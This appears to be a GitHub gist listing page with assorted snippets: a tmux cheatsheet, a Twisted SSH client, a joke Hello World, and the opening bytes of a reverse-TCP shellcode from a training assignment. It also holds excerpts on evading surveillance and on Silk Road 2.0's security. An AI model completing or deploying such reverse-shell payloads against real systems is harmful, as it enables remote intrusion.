Skip to content

Instantly share code, notes, and snippets.

View CerebralMischief's full-sized avatar

Cerebral Mischief CerebralMischief

View GitHub Profile
@CerebralMischief
CerebralMischief / 0_reuse_code.js
Created May 16, 2014 13:22
Here are some things you can do with Gists in GistBox.
// Use Gists to store code you would like to remember later on
console.log(window); // log the "window" object to the console
@CerebralMischief
CerebralMischief / shellcode.c
Last active August 29, 2015 14:27
Shell Reverse TCP Shellcode in C Language
// This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/2nd.assignment/shellcode.c
#include <stdio.h>
#include <string.h>
unsigned char code[] = \
"\x68"
"\x7f\x01\x01\x01" // <- IP Number "127.1.1.1"
"\x5e\x66\x68"
@CerebralMischief
CerebralMischief / gist:6c97cc2ff27e0086a9c7
Last active August 29, 2015 14:27 — forked from grugq/gist:7713916
The text from: http://dee.su/uploads/baal.html On Underground Communications
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Undercover communication
It should be obvious by now, that the only way to communicate
stealthily and securely is to avoid raising suspicion to the
level at which the authorities might consider it worthwhile
to put you under active surveillance (e.g., park a van with
TEMPEST equipment by your apartment).

Security Guidelines

  • Use an iDevice

    • Use an iPod or an iPad without a SIM card
    • Use an iPhone
    • Do not jailbreak
  • Use Signal (iOS)

  • Use TextSecure + RedPhone (Android)

  • Android?

@CerebralMischief
CerebralMischief / srv2 what could go wrong
Last active August 29, 2015 14:27 — forked from grugq/srv2 what could go wrong
silk road v2 what could go wrong
# Silk Road 2.0, What Could Possibly Go Wrong?
There are a number of risks with the reopened Silk Road. Rather than explore them
in depth, I'll look at some of the more serious security issues facing them.
[Ed: Since I began writing this in early December, at least some of what I
predicted has come to pass. Three of the moderators from the original Silk Road
have now been arrested.]
## Plenty of Possible Problems
@CerebralMischief
CerebralMischief / sshclient.py
Last active August 29, 2015 14:27 — forked from grugq/sshclient.py
twisted ssh client (based on conch.py) with an embedded cmd.Cmd shell for controllng the SSH session
from twisted.internet import reactor, defer, endpoints, task, stdio
from twisted.conch.client import default, options, direct
from twisted.conch.error import ConchError
from twisted.conch.ssh import session, forwarding, channel
from twisted.conch.ssh import connection, common
from twisted.python import log, usage
import signal
import tty
import struct
import fcntl
@CerebralMischief
CerebralMischief / tmux-cheatsheet.markdown
Created November 23, 2015 20:31 — forked from MohamedAlaa/tmux-cheatsheet.markdown
tmux shortcuts & cheatsheet

tmux shortcuts & cheatsheet

start new:

tmux

start new with session name:

tmux new -s myname
@CerebralMischief
CerebralMischief / HelloWorld.java
Created July 10, 2017 12:37 — forked from lolzballs/HelloWorld.java
Hello World Enterprise Edition
import java.io.FileDescriptor;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.io.PrintStream;
public class HelloWorld{
private static HelloWorld instance;
public static void main(String[] args){
instantiateHelloWorldMainClassAndRun();

Keybase proof

I hereby claim:

To claim this, I am signing this object: